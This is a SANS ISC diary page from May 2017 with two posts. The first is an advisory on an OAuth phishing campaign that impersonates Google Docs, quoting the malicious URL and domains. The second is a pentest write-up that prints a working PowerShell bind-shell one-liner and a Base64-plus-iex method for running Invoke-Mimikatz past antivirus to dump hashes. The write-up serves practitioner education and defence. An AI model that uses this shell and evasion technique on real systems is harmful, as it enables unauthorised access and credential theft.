ISC Stormcast For Thursday, May 4th 2017 https://isc.sans.edu/podcastdetail.html?id=5486

OAUTH phishing against Google Docs ? beware!

Published: 2017-05-03. Last Updated: 2017-05-03 19:54:08 UTC
by Bojan Zdrnja (Version: 2)
6 comment(s)

We got several reports (thanks to Seren Thompson, Tahir Khan and Harry Vann) about OAUTH phishing attacks against Google users. The phishing attack arrives, of course, as an e-mail where it appears that a user (potentially even one on your contact list, so it looks very legitimate) has shared a document.
An image of such an e-mail is shown below:

Phishing email
If you click on the link (Open in Docs), you will be redirected to the OAUTH2 service on accounts.google.com – the target URL will look like this:

hxxs://accounts.google.com/o/oauth2/auth?client_id=1535050614-8i934kb9l0snc0iocqb0iv27lli0r858.apps.googleusercontent.com&scope=https%3A%2F%2Fmail.google.com%2F+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcontacts&immediate=false&include_granted_scopes=true&response_type=token&redirect_uri=hxxps%3A%2F%2Fgoogledocs.g-docs.win%2Fg.php&customparam=customparam

In browser, this is what you get:


As you can see, it appears as Google Docs wants full access to my Gmail as well as my contacts. Of course, this is not real Google Docs – the attacker has simply named his “application” Google Docs – this can be verified by clicking on the Google Docs text where the real web site behind this and developer info is shown:

Obviously, once you allow access it is game over - the attacker probably uses the phishied Gmail account to further distribute phishing e-mails - we'll see if we can get more details.

So far at least the following domains are included:
googledocs.g-docs.win
googledocs.g-docs.pro

The domains are definitely malicious – the URL leads to jsserver.info where a fake alert that the computer is infected is shown.

UPDATE:

There are more domains - they all just change the TLD's for googledocs.g-docs.X or googledocs.docscloud.X. Most of them (if not all) appear to have been taken down (thanks @Jofo).

It also appears that Google has reacted quickly and are now recognizing e-mails containing malicious (phishing) URL's so the message "Be careful with this message. Similar messages were used to steal people's personal information. Unless you trust the sender, don't click links or reply with personal information." will be shown when such an e-mail is opened.

Finally, if you accidentally clicked on "Allow", go to https://myaccount.google.com/u/0/permissions?pli=1 to revoke permissions.

--
Bojan
@bojanz
INFIGO IS

6 comment(s)
May Issue of OUCH Security Awareness Newsletter: "Securing Kids Online" https://securingthehuman.sans.org/ouch

Powershelling with exploits

Published: 2017-05-03. Last Updated: 2017-05-03 11:15:39 UTC
by Bojan Zdrnja (Version: 2)
1 comment(s)

It should be no surprise to our regular readers how powerful PowerShell (pun intended) really is. In last couple of years, it has become the main weapon of not only white hat penetration testing, but also various attackers.

Recently I had to perform some pivoting through a compromised box. It had a specific exploit which was not available in Metasploit, but allowed an attacker to execute any command on the vulnerable server. The caveat was that the server could not establish external connection, however all connections to the server were allowed (it was an internal engagement) so instead of using a reverse shell, I used a simple bind TCP shell (powershell).

The easiest way to do this is to use the Invoke-PowerShellTcp.ps1 script from the Nishang collection (https://github.com/samratashok/nishang). This is a reverse PowerShell script, so a little bit of modification was needed to make it a bind TCP shell, as below:

$listener = [System.Net.Sockets.TcpListener]7777;$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \\"PS \\" + (pwd).Path + \\" \\";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

This one-liner will create a bind TCP PowerShell on port 7777. Sweet. Now that this works, the rest of the job should be easy right? We can normally use the exploit/multi/handler module from Metasploit which will allow us to connect to the previously open PowerShell. While this cannot be upgraded to Meterpreter, the logical next step would be to invoke Mimikatz to dump available hashes.

However, here there was a small problem. Since reverse connections cannot be created, the way this is normally done is by using the windows/manage/powershell/load_script post exploitation module. This module loads a PowerShell script and executes it. The idea here is to use it to invoke Mimikatz (the Invoke-Mimikatz.ps1 script from the PowerSploit collection at https://github.com/PowerShellMafia/PowerSploit). 

For some reason, though, this did not work. The script was correctly pushed by encoding it however the execution somewhere failed. Inspection of the load_script module showed that it is very simple: it just takes the PowerShell script (or a directory) and uses the stage_psh_env method from the Msf::Post::Windows::Powershell module. This method is defined in the lib/msf/core/post/windows/powershell.rb file and we can see that it takes the source script, splits it into chunks of up to 14999 bytes, encodes with Base64 and sends to the remote shell as a variable. After it has been successfully uploaded, the Metasploit module decodes the variable and executes it with the iex PowerShell command (Invoke Expression).

But, as I said, for some reason this did not work. The default PowerShell script got transferred and executed correctly, but Invoke-Mimikatz.ps1 simply did not work. So after some experimenting I found out that I can do the same thing as Metasploit – I can create a variable which contains Base64 encoded PowerShell script and execute it after decoding with the iex command. This is actually done twice: once by my script and the other time by Metasploit while transferring this new script.

This turned out to be the solution – first I had to encode Invoke-Mimikatz.ps1 into a (huge) variable and then simply copy it into a new script that will eventually be pushed with the windows/manage/powershell/load_script module.

Encoding Invoke-Mimikatz.ps1 to Base64 is simple – we can use PowerShell to do that too:

PS D:\> $temp = Get-Content .\Invoke-Mimikatz.ps1
PS D:\> $bytes = [System.Text.Encoding]::UTF8.GetBytes($temp)
PS D:\> $encoded = [System.Convert]::ToBase64String($bytes)

Now the variable $encoded has the Base64 encoded Invoke-Mimikatz.ps1 script, so the resulting PS1 script will look like this:

$encoded = 'ZnVuY3 .. rest of the Base64 encoded script '
[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($encoded)) | iex

Simple and effective. And once the hashes have been dumped … we know it‘s game over really. And as a plus, this will also evade most (all?) anti-viruses that might be detecting the Invoke-Mimikatz.ps1 script directly.

Do you have other interesting PowerShell exploitation stories?

Let us know!

--
Bojan
@bojanz
INFIGO IS

1 comment(s)

Comments


Diary Archives